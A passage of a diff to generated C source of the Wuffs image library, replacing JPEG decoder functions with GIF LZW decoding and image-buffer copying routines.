(self->private_impl.f_is_adobe > 0u) { +- self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe == 1u); +- } else { +- self->private_impl.f_is_rgb_or_cmyk = ((self->private_impl.f_components_c[0u] == 82u) && (self->private_impl.f_components_c[1u] == 71u) && (self->private_impl.f_components_c[2u] == 66u)); ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, ++ self->private_impl.f_compressed_ri, ++ self->private_impl.f_compressed_wi), ++ 0u); ++ v_mark = ((uint64_t)(iop_v_r - io0_v_r)); ++ u_r.meta.ri = ((size_t)(iop_v_r - u_r.data.ptr)); ++ wuffs_gif__decoder__lzw_read_from(self, v_r); ++ iop_v_r = u_r.data.ptr + u_r.meta.ri; ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_ri, wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_v_r - io0_v_r)))); ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; + } +- } +- } +- self->private_impl.f_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, 1u, self->private_impl.f_max_incl_components_h); +- self->private_impl.f_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, 1u, self->private_impl.f_max_incl_components_v); +- v_upper_bound = 65544u; +- self->private_impl.f_components_workbuf_widths[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[0u])))); +- self->private_impl.f_components_workbuf_widths[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[1u])))); +- self->private_impl.f_components_workbuf_widths[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[2u])))); +- self->private_impl.f_components_workbuf_widths[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[3u])))); +- self->private_impl.f_components_workbuf_heights[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[0u])))); +- self->private_impl.f_components_workbuf_heights[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[1u])))); +- self->private_impl.f_components_workbuf_heights[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[2u])))); +- self->private_impl.f_components_workbuf_heights[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[3u])))); +- v_wh0 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[0u]))); +- v_wh1 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[1u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[1u]))); +- v_wh2 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[2u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[2u]))); +- v_wh3 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[3u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[3u]))); +- v_progressive = 0u; +- if (self->private_impl.f_sof_marker >= 194u) { +- v_progressive = 2u; +- v_i = 0u; +- while (v_i < 4u) { +- v_j = 0u; +- while (v_j < 10u) { +- self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; +- v_j += 1u; ++ if (self->private_impl.f_lzw_output_ri < self->private_impl.f_lzw_output_wi) { ++ v_copy_status = wuffs_gif__decoder__copy_to_image_buffer(self, a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_lzw_output, ++ self->private_impl.f_lzw_output_ri, ++ self->private_impl.f_lzw_output_wi)); ++ if (wuffs_base__status__is_error(&v_copy_status)) { ++ status = v_copy_status; ++ goto exit; ++ } ++ self->private_impl.f_lzw_output_ri = 0u; ++ self->private_impl.f_lzw_output_wi = 0u; + } +- v_i += 1u; ++ if (self->private_impl.f_lzw_read_from_return_value == 0u) { ++ self->private_impl.f_ignored_but_affects_benchmarks = false; ++ if (v_need_block_size || (v_block_size > 0u)) { ++ self->private_data.s_decode_id_part2.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (self->private_data.s_decode_id_part2.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_id_part2.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_id_part2.scratch; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ goto label__outer__break; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 1u) { ++ continue; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 2u) { ++ goto label__outer__continue; ++ } else if (self->private_impl.f_quirks[3u] && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) && (self->private_impl.f_interlace == 0u)) { ++ if (v_need_block_size || (v_block_size > 0u)) { ++ self->private_data.s_decode_id_part2.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_decode_id_part2.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_id_part2.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_id_part2.scratch; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ goto label__outer__break; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 3u) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 4u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_lzw_code); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ goto exit; + } + } +- self->private_impl.f_components_workbuf_offsets[0u] = 0u; +- self->private_impl.f_components_workbuf_offsets[1u] = (self->private_impl.f_components_workbuf_offsets[0u] + v_wh0); +- self->private_impl.f_components_workbuf_offsets[2u] = (self->private_impl.f_components_workbuf_offsets[1u] + v_wh1); +- self->private_impl.f_components_workbuf_offsets[3u] = (self->private_impl.f_components_workbuf_offsets[2u] + v_wh2); +- self->private_impl.f_components_workbuf_offsets[4u] = (self->private_impl.f_components_workbuf_offsets[3u] + v_wh3); +- self->private_impl.f_components_workbuf_offsets[5u] = (self->private_impl.f_components_workbuf_offsets[4u] + (v_wh0 * v_progressive)); +- self->private_impl.f_components_workbuf_offsets[6u] = (self->private_impl.f_components_workbuf_offsets[5u] + (v_wh1 * v_progressive)); +- self->private_impl.f_components_workbuf_offsets[7u] = (self->private_impl.f_components_workbuf_offsets[6u] + (v_wh2 * v_progressive)); +- self->private_impl.f_components_workbuf_offsets[8u] = (self->private_impl.f_components_workbuf_offsets[7u] + (v_wh3 * v_progressive)); ++ label__outer__break:; ++ self->private_impl.f_compressed_ri = 0u; ++ self->private_impl.f_compressed_wi = 0u; ++ if ((self->private_impl.f_dst_y < self->private_impl.f_frame_rect_y1) && (self->private_impl.f_frame_rect_x0 != self->private_impl.f_frame_rect_x1) && (self->private_impl.f_frame_rect_y0 != self->private_impl.f_frame_rect_y1)) { ++ status = wuffs_base__make_status(wuffs_base__error__not_enough_data); ++ goto exit; ++ } + +- goto ok; + ok: +- self->private_impl.p_decode_sof[0] = 0; ++ self->private_impl.p_decode_id_part2 = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_sof[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_sof[0].v_i = v_i; ++ self->private_impl.p_decode_id_part2 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_id_part2.v_block_size = v_block_size; ++ self->private_data.s_decode_id_part2.v_need_block_size = v_need_block_size; + + goto exit; + exit: +@@ -43322,106 +43364,182 @@ wuffs_jpeg__decoder__decode_sof( + return status; + } + +-// -------- func jpeg.decoder.quantize_dimension ++// -------- func gif.decoder.copy_to_image_buffer + + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__quantize_dimension( +- const wuffs_jpeg__decoder* self, +- uint32_t a_width, +- uint8_t a_h, +- uint8_t a_max_incl_h) { +- uint32_t v_ratio = 0; ++static wuffs_base__status ++wuffs_gif__decoder__copy_to_image_buffer( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_pb, ++ wuffs_base__slice_u8 a_src) { ++ wuffs_base__slice_u8 v_dst = {0}; ++ wuffs_base__slice_u8 v_src = {0}; ++ uint64_t v_width_in_bytes = 0; ++ uint64_t v_n = 0; ++ uint64_t v_src_ri = 0; ++ wuffs_base__pixel_format v_pixfmt = {0}; ++ uint32_t v_bytes_per_pixel = 0; ++ uint32_t v_bits_per_pixel = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint32_t v_replicate_y0 = 0; ++ uint32_t v_replicate_y1 = 0; ++ wuffs_base__slice_u8 v_replicate_dst = {0}; ++ wuffs_base__slice_u8 v_replicate_src = {0}; + +- v_ratio = 0u; +- if (a_h > 0u) { +- v_ratio = ((uint32_t)((a_max_incl_h / a_h))); ++ v_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_pb); ++ v_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_pixfmt); ++ if ((v_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } +- if (v_ratio == 1u) { +- return ((a_width + 7u) / 8u); +- } else if (v_ratio == 2u) { +- return ((a_width + 15u) / 16u); +- } else if (v_ratio == 3u) { +- return ((a_width + 23u) / 24u); ++ v_bytes_per_pixel = (v_bits_per_pixel >> 3u); ++ v_width_in_bytes = ((uint64_t)((self->private_impl.f_width * v_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_pb, 0u); ++ while (v_src_ri < ((uint64_t)(a_src.len))) { ++ v_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_ri); ++ if (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) { ++ if (self->private_impl.f_quirks[3u]) { ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__too_much_data); ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, 0u); ++ } else if (v_width_in_bytes < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_width_in_bytes); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_bytes_per_pixel))); ++ if (v_i < ((uint64_t)(v_dst.len))) { ++ v_j = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * ((uint64_t)(v_bytes_per_pixel))); ++ if ((v_i <= v_j) && (v_j <= ((uint64_t)(v_dst.len)))) { ++ v_dst = wuffs_base__slice_u8__subslice_ij(v_dst, v_i, v_j); ++ } else { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); ++ } ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), v_src); ++ wuffs_private_impl__u64__sat_add_indirect(&v_src_ri, v_n); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u)); ++ } ++ if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { ++ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; ++ if (self->private_impl.f_interlace == 0u) { ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, 1u); ++ continue; ++ } ++ if ((self->private_impl.f_num_decoded_frames_value == 0u) && ! self->private_impl.f_gc_has_transparent_index && (self->private_impl.f_interlace > 1u)) { ++ v_replicate_src = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ v_replicate_y0 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u); ++ v_replicate_y1 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_COUNT[self->private_impl.f_interlace]))); ++ v_replicate_y1 = wuffs_base__u32__min(v_replicate_y1, self->private_impl.f_frame_rect_y1); ++ while (v_replicate_y0 < v_replicate_y1) { ++ v_replicate_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_replicate_y0); ++ wuffs_private_impl__slice_u8__copy_from_slice(v_replicate_dst, v_replicate_src); ++ v_replicate_y0 += 1u; ++ } ++ self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, v_replicate_y1); ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); ++ while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_interlace -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); ++ } ++ continue; ++ } ++ if (((uint64_t)(a_src.len)) == v_src_ri) { ++ break; ++ } else if (((uint64_t)(a_src.len)) < v_src_ri) { ++ return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ } ++ v_n = ((uint64_t)((self->private_impl.f_frame_rect_x1 - self->private_impl.f_dst_x))); ++ v_n = wuffs_base__u64__min(v_n, (((uint64_t)(a_src.len)) - v_src_ri)); ++ wuffs_private_impl__u64__sat_add_indirect(&v_src_ri, v_n); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { ++ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); ++ while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_interlace -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); ++ } ++ continue; ++ } ++ if (v_src_ri != ((uint64_t)(a_src.len))) { ++ return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ } ++ break; + } +- return ((a_width + 31u) / 32u); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func jpeg.decoder.decode_frame_config ++// -------- func gif.decoder.lzw_init + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__decode_frame_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_init( ++ wuffs_gif__decoder* self) { ++ uint32_t v_i = 0; + +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++ self->private_impl.f_lzw_literal_width = 8u; ++ if (self->private_impl.f_lzw_pending_literal_width_plus_one > 0u) { ++ self->private_impl.f_lzw_literal_width = (self->private_impl.f_lzw_pending_literal_width_plus_one - 1u); + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ self->private_impl.f_lzw_clear_code = (((uint32_t)(1u)) << self->private_impl.f_lzw_literal_width); ++ self->private_impl.f_lzw_end_code = (self->private_impl.f_lzw_clear_code + 1u); ++ self->private_impl.f_lzw_save_code = self->private_impl.f_lzw_end_code; ++ self->private_impl.f_lzw_prev_code = self->private_impl.f_lzw_end_code; ++ self->private_impl.f_lzw_width = (self->private_impl.f_lzw_literal_width + 1u); ++ self->private_impl.f_lzw_bits = 0u; ++ self->private_impl.f_lzw_n_bits = 0u; ++ self->private_impl.f_lzw_output_ri = 0u; ++ self->private_impl.f_lzw_output_wi = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_lzw_clear_code) { ++ self->private_data.f_lzw_lm1s[v_i] = 0u; ++ self->private_data.f_lzw_suffixes[v_i][0u] = ((uint8_t)(v_i)); ++ v_i += 1u; + } +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func jpeg.decoder.do_decode_frame_config ++// -------- func gif.decoder.lzw_read_from + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__frame_config* a_dst, ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_read_from( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ uint32_t v_clear_code = 0; ++ uint32_t v_end_code = 0; ++ uint32_t v_save_code = 0; ++ uint32_t v_prev_code = 0; ++ uint32_t v_width = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_output_wi = 0; ++ uint32_t v_code = 0; ++ uint32_t v_c = 0; ++ uint32_t v_o = 0; ++ uint32_t v_steps = 0; ++ uint8_t v_first_byte = 0; ++ uint16_t v_lm1_b = 0; ++ uint16_t v_lm1_a = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -43434,83 +43552,370 @@ wuffs_jpeg__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ v_clear_code = self->private_impl.f_lzw_clear_code; ++ v_end_code = self->private_impl.f_lzw_end_code; ++ v_save_code = self->private_impl.f_lzw_save_code; ++ v_prev_code = self->private_impl.f_lzw_prev_code; ++ v_width = self->private_impl.f_lzw_width; ++ v_bits = self->private_impl.f_lzw_bits; ++ v_n_bits = self->private_impl.f_lzw_n_bits; ++ v_output_wi = self->private_impl.f_lzw_output_wi; ++ while (true) { ++ if (v_n_bits < v_width) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); ++ iop_a_src += ((31u - v_n_bits) >> 3u); ++ v_n_bits |= 24u; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_lzw_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_lzw_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits >= v_width) { ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_lzw_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_lzw_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits < v_width) { ++ self->private_impl.f_lzw_read_from_return_value = 5u; ++ break; ++ } ++ } + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_jpeg__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ v_code = ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_width)); ++ v_bits >>= v_width; ++ v_n_bits -= v_width; ++ if (v_code < v_clear_code) { ++ self->private_data.f_lzw_output[v_output_wi] = ((uint8_t)(v_code)); ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ if (v_save_code <= 4095u) { ++ v_lm1_a = ((uint16_t)(((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_a; ++ if (((uint16_t)(v_lm1_a % 8u)) != 0u) { ++ self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); ++ self->private_data.f_lzw_suffixes[v_save_code][((uint16_t)(v_lm1_a % 8u))] = ((uint8_t)(v_code)); ++ } else { ++ self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; + } +- if (status.repr) { +- goto suspend; ++ } else if (v_code <= v_end_code) { ++ if (v_code == v_end_code) { ++ self->private_impl.f_lzw_read_from_return_value = 0u; ++ break; + } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; ++ v_save_code = v_end_code; ++ v_prev_code = v_end_code; ++ v_width = (self->private_impl.f_lzw_literal_width + 1u); ++ } else if (v_code <= v_save_code) { ++ v_c = v_code; ++ if (v_code == v_save_code) { ++ v_c = v_prev_code; ++ } ++ v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) & 4294967288u)) & 8191u); ++ v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lzw_lm1s[v_c]))) & 8191u); ++ v_steps = (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) >> 3u); ++ while (true) { ++ memcpy((self->private_data.f_lzw_output)+(v_o), (self->private_data.f_lzw_suffixes[v_c]), 8u); ++ if (v_steps <= 0u) { ++ break; ++ } ++ v_steps -= 1u; ++ v_o = (((uint32_t)(v_o - 8u)) & 8191u); ++ v_c = ((uint32_t)(self->private_impl.f_lzw_prefixes[v_c])); ++ } ++ v_first_byte = self->private_data.f_lzw_suffixes[v_c][0u]; ++ if (v_code == v_save_code) { ++ self->private_data.f_lzw_output[v_output_wi] = v_first_byte; ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ } ++ if (v_save_code <= 4095u) { ++ v_lm1_b = ((uint16_t)(((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_b; ++ if (((uint16_t)(v_lm1_b % 8u)) != 0u) { ++ self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); ++ self->private_data.f_lzw_suffixes[v_save_code][((uint16_t)(v_lm1_b % 8u))] = v_first_byte; ++ } else { ++ self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; + } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; + } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ self->private_impl.f_lzw_read_from_return_value = 4u; ++ break; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- true, +- false, +- 4278190080u); ++ if (v_output_wi > 4095u) { ++ self->private_impl.f_lzw_read_from_return_value = 1u; ++ break; + } +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: ++ if (self->private_impl.f_lzw_read_from_return_value != 2u) { ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ self->private_impl.f_lzw_read_from_return_value = 5u; ++ break; ++ } ++ } ++ } ++ self->private_impl.f_lzw_save_code = v_save_code; ++ 